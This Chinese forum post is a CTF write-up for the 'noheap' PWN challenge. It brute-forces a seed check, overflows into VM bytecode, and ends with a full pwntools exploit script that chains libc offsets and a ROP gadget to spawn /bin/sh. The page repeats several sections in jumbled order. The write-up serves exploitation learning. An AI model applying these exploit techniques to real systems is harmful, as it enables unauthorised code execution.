首页
社区
课程
招聘
[原创]看雪.京东 2018CTF 第六题 PWN-noheap:PWN入门详细记录
发表于: 2018-6-28 18:49 3505

[原创]看雪.京东 2018CTF 第六题 PWN-noheap:PWN入门详细记录

2018-6-28 18:49
3505
第一次独自把做pwn题做出来了,虽然由于手边没有能上网的电脑,没来得及提交答案,但是很开心,终于pwn入门了。

0.准备工作
下载一个Ubuntu-16.04-desktop-amd64.iso,在VMWare14里安装,现在VMWare已经很智能了,全自动安装。
安装完成后还需要进行一些配置,例如修改apt源、pip源之类的,这里就不细说了。前几天第4题PWN时系统都没弄好,这个系统是刚重新装的。
然后安装一些必备工具:
>git clone https://github.com/pwndbg/pwndbg #下载pwndbg,gdb增强
>git clone https://github.com/longld/peda.git ~/peda #下载peda,也是gdb增强,似乎与pwndbg有冲突
>git clone https://github.com/JonathanSalwan/ROGgadget #下载ROGgadget,用于文件命令搜索,然后用于溢出
>checksec #文件检查工具,是一个bin,似乎python中的pwntools已经集成了,ELF(binfile)就能直接检查文件保护方式
>sudo apt install socat #端口转发工具,在调试时可以用python发送命令
>sudo pip install pwntools #安装python下的pwntools,研究pwn必备
当然还有IDA,windows下的IDA最好用,把IDA安装目录下的/dbgsrv/linux_serverx64复制到Ubuntu中并运行,然后在win下的IDA里配置Debugger-process options,设置Application为/home/user/pediy/noheap,Input file为/home/lelfei/pediy/noheap,Directory为/home/lelfei/pediy,Hostname为Ubuntu虚拟机IP,Port为默认的23946,按F9就能开始远程动态调试了。

1.分析程序
在windows中运行IDA 64位程序,把目标程序noheap拖进去开始分析,流程很简单,main()里调用了3个函数,第1个用于显示欢迎信息,第2个sub_F0C()校验一个随机码,第3个sub_1470()显示菜单。这个程序函数很少,干脆每一个都点开看看,很快就能分析出大部分函数功能。有一个函数值得注意,sub_CB5()调用位置为_init_array,功能是把5个函数的入口地址加密并保存起来,并初始化了一段数据保存到203140处,后来发现这是一段VM指令,这个后面再细说。

2.随机码验证
在sub_F0C()里用4个字节的随机码生成8字节的校验码,计算校验码的Hash值并显示,然后由用户输入校验码并检测是否正确:
__int64 checkRnd()
{
  unsigned __int8 buf; // [sp+Fh] [bp-51h]@2
  unsigned int v2; // [sp+10h] [bp-50h]@1
  int i; // [sp+14h] [bp-4Ch]@1
  int fd; // [sp+18h] [bp-48h]@1
  unsigned int v5; // [sp+1Ch] [bp-44h]@4
  char s1[8]; // [sp+20h] [bp-40h]@1
  char v7; // [sp+28h] [bp-38h]@1
  char s2[8]; // [sp+30h] [bp-30h]@1
  char v9; // [sp+38h] [bp-28h]@1
  __int64 v10; // [sp+48h] [bp-18h]@1

  v10 = *MK_FP(__FS__, 40LL);
  *(_QWORD *)s1 = 0LL;
  v7 = 0;
  *(_QWORD *)s2 = 0LL;
  v9 = 0;
  v2 = 0;
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 3; ++i )
  {
    read(fd, &buf, 1uLL);
    v2 = (v2 << 8) + buf % 43u + 48;          //生成4字节随机码
  }
  *(_DWORD *)s1 = sub_108A((__int64)&v2);     //计算出验证码前4位
  *(_DWORD *)&s1[4] = sub_108A((__int64)&v2); //计算出验证码后4位
  v5 = sub_10B2(s1, 8);                       //计算8位验证码的Hash值
  printf("Hash:%08x\n", v5);                  //显示Hash值
  printf("Input:");
  getInput(s2, 9uLL);                         //用户输入
  close(fd);
  if ( strcmp(s1, s2) )                       //检测输入值是否与验证码相等
    exit(0);
  puts("=======================================================================");
  return *MK_FP(__FS__, 40LL) ^ v10;
}
由于验证码是随机生成的,需要穷举出来,不过对随机码范围进行了限制,总范围为43*43*43*43=3418801种可能,几秒钟就能穷举出来。代码很简单,就不细说了,直接贴代码:
def getseed(nn):
    print("[%s]start find seed..." % datetime.now())
    for s0 in range(48,91):
        for s1 in range(48,91):
            for s2 in range(48,91):
                for s3 in range(48,91):
                    seed=s3*0x1000000+s2*0x10000+s1*0x100+s0
                    n1=seed*0x343FD+0x269EC3
                    n2=n1*0x343FD+0x269EC3
                    n1&=0xFFFFFFFF
                    n2&=0xFFFFFFFF
                    sum=0
                    t1=n1
                    t2=n2
                    for i in range(4):
                        sum=sum*0x83+(t1&0xFF)
                        t1>>=8
                        sum&=0xFFFFFFFF
                    for i in range(4):
                        sum=sum*0x83+(t2&0xFF)
                        t2>>=8
                        sum&=0xFFFFFFFF
                    if sum==nn:
                        s=''
                        t1=n1
                        t2=n2
                        for i in range(4):
                            s+=chr(t1&0xFF)
                            t1>>=8
                        for i in range(4):
                            s+=chr(t2&0xFF)
                            t2>>=8
                        print("[%s]seed='%s%s%s%s', pw=%08x%08x" % (datetime.now(),chr(s0),chr(s1),chr(s2),chr(s3),n1,n2))
                        return s
    print("[%s]***NOT FOUND***" % datetime.now())
    return
输入验证码后就能进门了。
调试方法为:
在Ubuntu里运行命令:
socat tcp4-listen:1234,fork exec:./linux_serverx64 #运行IDA调试服务程序,并转发到端口1234
在IDA里配置好调试参数后F9开始调试,然后在ubuntu终端里运行python,输入命令就能连接到调试程序了:
from pwn import *
p=remote('localhost',1234)
p.recvline()

3.查找溢出点
程序先用checksec看一下,有CANARY保护和NX保护,对数据处理的也很好,直接看源码也没有发现明显的缓冲区溢出漏洞,不过在实际调试时发现在Malloc()中输入Size为0时,再输入Content时长度限制变成了n = getInput((char *)src, (unsigned __int8)(size - 1)),size-1经过转化把大小变成了0xFF,超过前面的0x80限制,能覆盖到2030C0+80后面的数据,但是这些数据能怎么用呢?这地方让我迷惑了好久。
在继续调试程序时,找到突破口了:
在菜单中输入选项后,程序根据用户选择把指定函数入口解密,并保存到堆栈中,然后跳到sub_1107()执行虚拟机指令,根据虚拟机指令再跳转到指定函数运行。而这些虚拟机指令刚好保存在2030C0+80=203140处,因此我们可以自己编写VM指令,获取到系统权限!

4.编写VM指令
接下来的工作比较无趣,要分析虚拟机指令,还好指令不多,只有22条,代码也不复杂,直接贴结果:
0x00001460  00:exit
0x00001190  01:mov vmReg3, byte [vmIP+1];add vmIP,2
0x000011bd  02:mov vmReg4,byte [vmReg3];inc vmIP
0x000011e6  03:mov vmReg2,qword [vmReg3];inc vmIP
0x0000120c  04:mov vmReg5,qword [vmReg3];inc vmIP
0x00001232  05:sub vmReg2, vmReg5;inc vmIP
0x0000124f  06:add vmReg2, vmReg5;inc vmIP
0x0000126f  07:imul vmReg2, vmReg5;inc vmIP
0x0000128d  08:div vmReg2, vmReg5;inc vmIP
0x000012af  09:xor vmReg2, vmReg5;inc vmIP
0x000012cc  0A:and vmReg2, vmReg5;inc vmIP
0x000012e9  0B:or vmReg2, vmReg5;inc vmIP
0x00001306  0C:cmp vmReg2, vmReg5;jnz vmReg6=1;inc vmIP
0x00001333  0D:cmp vmReg6,0;jnz vmIP=[vmIP];add vmIP,2
0x00001368  0E:mov vmReg2, vmReg4;inc vmIP
0x00001381  0F:mov vmReg5, vmReg4;inc vmIP
0x0000139a  10:mov vmReg4, vmReg2;inc vmIP
0x000013b3  11:mov vmReg4, vmReg5;inc vmIP
0x000013cc  12:mov vmReg2, vmReg5;inc vmIP
0x000013e5  13:mov vmReg2,qword ss:[-vmReg3<<3];inc vmIP
0x0000140f  14:mov qword ss:[-vmReg3<<3],vmReg2;inc vmIP
0x00001439  15:inc vmReg4;inc vmIP
0x0000144c  16:inc vmIP;jmp vmReg2
其中vmIP=[rbp-40h],[rbp-38]--[rbp-8]分别用vmReg2--vmReg8代替
在自己编写VM指令时又走了很多弯路:
先尝试控制程序流程到2030C0处执行,发现此段数据没有执行权限;
看来只能调用系统命令system('/bin/sh')来获取权限了,但是VM指令功能并不多,能写地址的只有第0x14号指令:mov qword ss:[-vmReg3<<3],vmReg2,想要实现写任意地址还是比较麻烦的。参考原VM指令,是调用01号功能取1字节保存到vmReg3,再调用0x13号指令读取堆栈内容或0x14号指令保存到堆栈的,因此设计出第1号方案:获取libc地址,根据相对偏移跳到libc.system并执行,跳过去前需要先把system函数的参数'/bin/sh'放到edi中。(这里多说一句,在32位系统中参数都是在堆栈中的,但是在64位系统中,参数分别在rdi,rsi,rdx,rcx,r8,r9中)于是步骤变成了第2号方案:保存'/bin/sh'地址到[rsp]中;保存system命令地址到[rsp+8]中;找到“pop rdi;ret”命令地址,跳过去执行。需要找3个地址,都是在libc中找。(当然也可以在程序中找,但是我们是必须要在libc中找system地址的,从libc中找其他地址更省事)
先在堆栈中找libc出现的地址:[ebp+38]处找到了libc_2.23.so:__libc_start_main+F0,但是发现没法实现:vm指令只能从堆栈里往上取地址,不能使用负数实现向下找;如果在堆栈中向上找,如何保证找到的数据很可靠呢?这里又让我迷惑了很长时间。
突然想到,程序是先在Malloc()中使用了输入输出函数,返回后我们才覆盖掉VM指令控制流程的,堆栈中刚使用的输入输出函数应该还是可靠的,在执行完Malloc()返回后又返回到1147处,查看堆栈找到数据:[vmbp-78]=libc_2.23.so:_IO_2_1_stdout_,这个地址应该还能用。
最终方案编写VM指令如下:
01 14:vmReg3=14
13:vmReg2=[-vmReg3<<3]=[78]=libc_2.23.so:_IO_2_1_stdout_  ;p_libc_stdout
10:vmReg4=vmReg2             ;保存p_libc_stdout地址
01 00:vmReg3=00
04:vmReg5=[vmReg3]=0x18CD57  ;取'/bin/sh'偏移binsh_offset
05:vmReg2=vmReg2-vmReg5      ;计算出实际地址p_lib_binsh=p_libc_stdout-binsh_offset
01 08:vmReg3=09
14:[-40]=vmReg2              ;保存到[vmbp-40]中,即[rsp]中

0E:vmReg2=vmReg4             ;p_libc_stdout地址
01 28:vmReg3=28
04:vmReg5=[vmReg3]=0x24B60   ;取system函数偏移system_offset
05:vmReg2=vmReg2-vmReg5      ;计算出实际地址p_lib_system=p_libc_stdout-system_offset
01 07:vmReg3=07
14:[-38]=vmReg2              ;保存到[vmbp-38]中,即[rsp+8]中

0E:vmReg2=vmReg4             ;p_libc_stdout地址
01 30:vmReg3=30
04:vmReg5=[vmReg3]=0x8D2     ;取'pop rdi;ret'地址偏移poc_offset
05:vmReg2=vmReg2-vmReg5      ;计算出实际地址p_lib_poc=p_libc_stdout-poc_offset
16:jmp vmReg2                ;跳到POC执行,即system('/bin/sh'),得到系统权限
payload+='\x01\x14\x13\x10\x01\x00\x04\x05\x01\x08\x14\x0E\x01\x28\x04\x05\x01\x07\x14\x0E\x01\x30\x04\x05\x16\x00'
这里用到了3个偏移地址,得到方法为:
'/bin/sh'偏移binsh_offset:在libc-2.23.so中搜索字符串'/bin/sh'得到
system函数偏移system_offset:在python中使用libc.symbols['system']得到
'pop rdi;ret'地址偏移poc_offset:使用命令ROPgadget --binary libc-2.23.so --only "pop|ret" | grep rdi得到
这3个地址分别保存到了vmaddr+0,+28,+30处。其实这几个地址可以事先算好直接写到payload里,这里记录了详细的计算过程更方便理解。
需要注意vm指令返回到+0E处执行,最终payload为:
>>> payload='A'*0x80  #padding
>>> payload+=p64(binsh_offset)  #vmaddr+0是binsh_offset偏移
>>> payload+='A'*6  #vm指令返回到+0E处执行,上面数据用了8字节,这里还要跳过6字节
>>> payload+='\x01\x14\x13\x10\x01\x00\x04\x05\x01\x08\x14\x0E\x01\x28\x04\x05\x01\x07\x14\x0E\x01\x30\x04\x05\x16\x00'  #实际执行的vm指令
>>> payload+=p64(system_offset)  #+28处是system_offset偏移
>>> payload+=p64(poc_offset)  #+30处是poc_offset偏移

5.总结
这一题使用vm指令溢出的设计还是比较新颖的,在网上学习了一些pwn教程,但是对payload的编写始终不得要领,通过这一题的独自完成,对pwn的理解更深了,之前几次CTF大赛遇到linux题就放弃,现在也可以尝试一下了。

最后附上完整的python代码:
from pwn import *
from datetime import datetime

p = process('./noheap')
#p=remote('127.0.0.1',1234)

def getseed(nn):
    print("[%s]start find seed..." % datetime.now())
    for s0 in range(48,91):
        for s1 in range(48,91):
            for s2 in range(48,91):
                for s3 in range(48,91):
                    seed=s3*0x1000000+s2*0x10000+s1*0x100+s0
                    n1=seed*0x343FD+0x269EC3
                    n2=n1*0x343FD+0x269EC3
                    n1&=0xFFFFFFFF
                    n2&=0xFFFFFFFF
                    #if n1!=n:
                    #    continue
                    #print("%x %x" % (n1,n2))
                    sum=0
                    t1=n1
                    t2=n2
                    for i in range(4):
                        sum=sum*0x83+(t1&0xFF)
                        t1>>=8
                        sum&=0xFFFFFFFF
                    for i in range(4):
                        sum=sum*0x83+(t2&0xFF)
                        t2>>=8
                        sum&=0xFFFFFFFF
                    if sum==nn:
                        s=''
                        t1=n1
                        t2=n2
                        for i in range(4):
                            s+=chr(t1&0xFF)
                            t1>>=8
                        for i in range(4):
                            s+=chr(t2&0xFF)
                            t2>>=8
                        print("[%s]seed='%s%s%s%s', pw=%08x%08x" % (datetime.now(),chr(s0),chr(s1),chr(s2),chr(s3),n1,n2))
                        return s
    print("[%s]***NOT FOUND***" % datetime.now())
    return

def welcome():
    p.recvuntil('Hash:')
    gothash = p.recv(8)
    print('got hash: %s' % gothash)
    n = int(gothash, 16)
    s = getseed(n)
    p.sendline(s)

def suballoc(buf, size):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('Size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.send(buf)

def subshow():
    p.recvuntil('>> ')
    p.sendline('2')
    s=p.recvuntil('$$$$')
    print('===result===\n%s' % s)

welcome()
libc=ELF('libc-2.23.so')
libc_poc=0x21102 #ROPgadget --binary libc-2.23.so --only "pop|ret" | grep rdi
libc_system=libc.symbols['system'] #0x45390
libc_binsh=next(libc.search('/bin/sh')) #0x18cd57
libc_stdout=libc.symbols['_IO_2_1_stdout_'] #0x3c5620
binsh_offset=libc_stdout-libc_binsh #0x2388c9
system_offset=libc_stdout-libc_system #0x380290
poc_offset=libc_stdout-libc_poc #0x3a451e
payload='A'*0x80
payload+=p64(binsh_offset)
payload+='A'*6
payload+='\x01\x14\x13\x10\x01\x00\x04\x05\x01\x08\x14\x0E\x01\x28\x04\x05\x01\x07\x14\x0E\x01\x30\x04\x05\x16\x00'
payload+=p64(system_offset)
payload+=p64(poc_offset)
suballoc(payload,0)
p.interactive()

第一次独自把做pwn题做出来了,虽然由于手边没有能上网的电脑,没来得及提交答案,但是很开心,终于pwn入门了。

0.准备工作
下载一个Ubuntu-16.04-desktop-amd64.iso,在VMWare14里安装,现在VMWare已经很智能了,全自动安装。
安装完成后还需要进行一些配置,例如修改apt源、pip源之类的,这里就不细说了。前几天第4题PWN时系统都没弄好,这个系统是刚重新装的。
然后安装一些必备工具:
>git clone https://github.com/pwndbg/pwndbg #下载pwndbg,gdb增强
>git clone https://github.com/longld/peda.git ~/peda #下载peda,也是gdb增强,似乎与pwndbg有冲突
>git clone https://github.com/JonathanSalwan/ROGgadget #下载ROGgadget,用于文件命令搜索,然后用于溢出
>checksec #文件检查工具,是一个bin,似乎python中的pwntools已经集成了,ELF(binfile)就能直接检查文件保护方式
>sudo apt install socat #端口转发工具,在调试时可以用python发送命令
>sudo pip install pwntools #安装python下的pwntools,研究pwn必备
当然还有IDA,windows下的IDA最好用,把IDA安装目录下的/dbgsrv/linux_serverx64复制到Ubuntu中并运行,然后在win下的IDA里配置Debugger-process options,设置Application为/home/user/pediy/noheap,Input file为/home/lelfei/pediy/noheap,Directory为/home/lelfei/pediy,Hostname为Ubuntu虚拟机IP,Port为默认的23946,按F9就能开始远程动态调试了。
>git clone https://github.com/pwndbg/pwndbg #下载pwndbg,gdb增强
>git clone https://github.com/longld/peda.git ~/peda #下载peda,也是gdb增强,似乎与pwndbg有冲突
>git clone https://github.com/JonathanSalwan/ROGgadget #下载ROGgadget,用于文件命令搜索,然后用于溢出
>checksec #文件检查工具,是一个bin,似乎python中的pwntools已经集成了,ELF(binfile)就能直接检查文件保护方式
>sudo apt install socat #端口转发工具,在调试时可以用python发送命令
>sudo pip install pwntools #安装python下的pwntools,研究pwn必备
当然还有IDA,windows下的IDA最好用,把IDA安装目录下的/dbgsrv/linux_serverx64复制到Ubuntu中并运行,然后在win下的IDA里配置Debugger-process options,设置Application为/home/user/pediy/noheap,Input file为/home/lelfei/pediy/noheap,Directory为/home/lelfei/pediy,Hostname为Ubuntu虚拟机IP,Port为默认的23946,按F9就能开始远程动态调试了。

1.分析程序
在windows中运行IDA 64位程序,把目标程序noheap拖进去开始分析,流程很简单,main()里调用了3个函数,第1个用于显示欢迎信息,第2个sub_F0C()校验一个随机码,第3个sub_1470()显示菜单。这个程序函数很少,干脆每一个都点开看看,很快就能分析出大部分函数功能。有一个函数值得注意,sub_CB5()调用位置为_init_array,功能是把5个函数的入口地址加密并保存起来,并初始化了一段数据保存到203140处,后来发现这是一段VM指令,这个后面再细说。

2.随机码验证
在sub_F0C()里用4个字节的随机码生成8字节的校验码,计算校验码的Hash值并显示,然后由用户输入校验码并检测是否正确:
__int64 checkRnd()
{
  unsigned __int8 buf; // [sp+Fh] [bp-51h]@2
  unsigned int v2; // [sp+10h] [bp-50h]@1
  int i; // [sp+14h] [bp-4Ch]@1
  int fd; // [sp+18h] [bp-48h]@1
  unsigned int v5; // [sp+1Ch] [bp-44h]@4
  char s1[8]; // [sp+20h] [bp-40h]@1
  char v7; // [sp+28h] [bp-38h]@1
  char s2[8]; // [sp+30h] [bp-30h]@1
  char v9; // [sp+38h] [bp-28h]@1
  __int64 v10; // [sp+48h] [bp-18h]@1

  v10 = *MK_FP(__FS__, 40LL);
  *(_QWORD *)s1 = 0LL;
  v7 = 0;
  *(_QWORD *)s2 = 0LL;
  v9 = 0;
  v2 = 0;
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 3; ++i )
  {
    read(fd, &buf, 1uLL);
    v2 = (v2 << 8) + buf % 43u + 48;          //生成4字节随机码
  }
  *(_DWORD *)s1 = sub_108A((__int64)&v2);     //计算出验证码前4位
  *(_DWORD *)&s1[4] = sub_108A((__int64)&v2); //计算出验证码后4位
  v5 = sub_10B2(s1, 8);                       //计算8位验证码的Hash值
  printf("Hash:%08x\n", v5);                  //显示Hash值
  printf("Input:");
  getInput(s2, 9uLL);                         //用户输入
  close(fd);
  if ( strcmp(s1, s2) )                       //检测输入值是否与验证码相等
    exit(0);
  puts("=======================================================================");
  return *MK_FP(__FS__, 40LL) ^ v10;
}
由于验证码是随机生成的,需要穷举出来,不过对随机码范围进行了限制,总范围为43*43*43*43=3418801种可能,几秒钟就能穷举出来。代码很简单,就不细说了,直接贴代码:
__int64 checkRnd()
{
  unsigned __int8 buf; // [sp+Fh] [bp-51h]@2
  unsigned int v2; // [sp+10h] [bp-50h]@1
  int i; // [sp+14h] [bp-4Ch]@1
  int fd; // [sp+18h] [bp-48h]@1
  unsigned int v5; // [sp+1Ch] [bp-44h]@4
  char s1[8]; // [sp+20h] [bp-40h]@1
  char v7; // [sp+28h] [bp-38h]@1
  char s2[8]; // [sp+30h] [bp-30h]@1
  char v9; // [sp+38h] [bp-28h]@1
  __int64 v10; // [sp+48h] [bp-18h]@1

  v10 = *MK_FP(__FS__, 40LL);
  *(_QWORD *)s1 = 0LL;
  v7 = 0;
  *(_QWORD *)s2 = 0LL;
  v9 = 0;
  v2 = 0;
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 3; ++i )
  {
    read(fd, &buf, 1uLL);
    v2 = (v2 << 8) + buf % 43u + 48;          //生成4字节随机码
  }
  *(_DWORD *)s1 = sub_108A((__int64)&v2);     //计算出验证码前4位
  *(_DWORD *)&s1[4] = sub_108A((__int64)&v2); //计算出验证码后4位
  v5 = sub_10B2(s1, 8);                       //计算8位验证码的Hash值
  printf("Hash:%08x\n", v5);                  //显示Hash值
  printf("Input:");
  getInput(s2, 9uLL);                         //用户输入
  close(fd);
  if ( strcmp(s1, s2) )                       //检测输入值是否与验证码相等
    exit(0);
  puts("=======================================================================");
  return *MK_FP(__FS__, 40LL) ^ v10;
}
由于验证码是随机生成的,需要穷举出来,不过对随机码范围进行了限制,总范围为43*43*43*43=3418801种可能,几秒钟就能穷举出来。代码很简单,就不细说了,直接贴代码:
def getseed(nn):
    print("[%s]start find seed..." % datetime.now())
    for s0 in range(48,91):
        for s1 in range(48,91):
            for s2 in range(48,91):
                for s3 in range(48,91):
                    seed=s3*0x1000000+s2*0x10000+s1*0x100+s0
                    n1=seed*0x343FD+0x269EC3
                    n2=n1*0x343FD+0x269EC3
                    n1&=0xFFFFFFFF
                    n2&=0xFFFFFFFF
                    sum=0
                    t1=n1
                    t2=n2
                    for i in range(4):
                        sum=sum*0x83+(t1&0xFF)
                        t1>>=8
                        sum&=0xFFFFFFFF
                    for i in range(4):
                        sum=sum*0x83+(t2&0xFF)
                        t2>>=8
                        sum&=0xFFFFFFFF
                    if sum==nn:
                        s=''
                        t1=n1
                        t2=n2
                        for i in range(4):
                            s+=chr(t1&0xFF)
                            t1>>=8
                        for i in range(4):
                            s+=chr(t2&0xFF)
                            t2>>=8
                        print("[%s]seed='%s%s%s%s', pw=%08x%08x" % (datetime.now(),chr(s0),chr(s1),chr(s2),chr(s3),n1,n2))
                        return s
    print("[%s]***NOT FOUND***" % datetime.now())
    return
输入验证码后就能进门了。
def getseed(nn):
    print("[%s]start find seed..." % datetime.now())
    for s0 in range(48,91):
        for s1 in range(48,91):
            for s2 in range(48,91):
                for s3 in range(48,91):
                    seed=s3*0x1000000+s2*0x10000+s1*0x100+s0
                    n1=seed*0x343FD+0x269EC3
                    n2=n1*0x343FD+0x269EC3
                    n1&=0xFFFFFFFF
                    n2&=0xFFFFFFFF
                    sum=0
                    t1=n1
                    t2=n2
                    for i in range(4):
                        sum=sum*0x83+(t1&0xFF)
                        t1>>=8
                        sum&=0xFFFFFFFF
                    for i in range(4):
                        sum=sum*0x83+(t2&0xFF)
                        t2>>=8
                        sum&=0xFFFFFFFF
                    if sum==nn:
                        s=''
                        t1=n1
                        t2=n2
                        for i in range(4):
                            s+=chr(t1&0xFF)
                            t1>>=8
                        for i in range(4):
                            s+=chr(t2&0xFF)
                            t2>>=8
                        print("[%s]seed='%s%s%s%s', pw=%08x%08x" % (datetime.now(),chr(s0),chr(s1),chr(s2),chr(s3),n1,n2))
                        return s
    print("[%s]***NOT FOUND***" % datetime.now())
    return
输入验证码后就能进门了。
调试方法为:
在Ubuntu里运行命令:
socat tcp4-listen:1234,fork exec:./linux_serverx64 #运行IDA调试服务程序,并转发到端口1234
在IDA里配置好调试参数后F9开始调试,然后在ubuntu终端里运行python,输入命令就能连接到调试程序了:
from pwn import *
p=remote('localhost',1234)
p.recvline()

3.查找溢出点
from pwn import *
p=remote('localhost',1234)
p.recvline()

3.查找溢出点
程序先用checksec看一下,有CANARY保护和NX保护,对数据处理的也很好,直接看源码也没有发现明显的缓冲区溢出漏洞,不过在实际调试时发现在Malloc()中输入Size为0时,再输入Content时长度限制变成了n = getInput((char *)src, (unsigned __int8)(size - 1)),size-1经过转化把大小变成了0xFF,超过前面的0x80限制,能覆盖到2030C0+80后面的数据,但是这些数据能怎么用呢?这地方让我迷惑了好久。
在继续调试程序时,找到突破口了:
在菜单中输入选项后,程序根据用户选择把指定函数入口解密,并保存到堆栈中,然后跳到sub_1107()执行虚拟机指令,根据虚拟机指令再跳转到指定函数运行。而这些虚拟机指令刚好保存在2030C0+80=203140处,因此我们可以自己编写VM指令,获取到系统权限!

4.编写VM指令

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//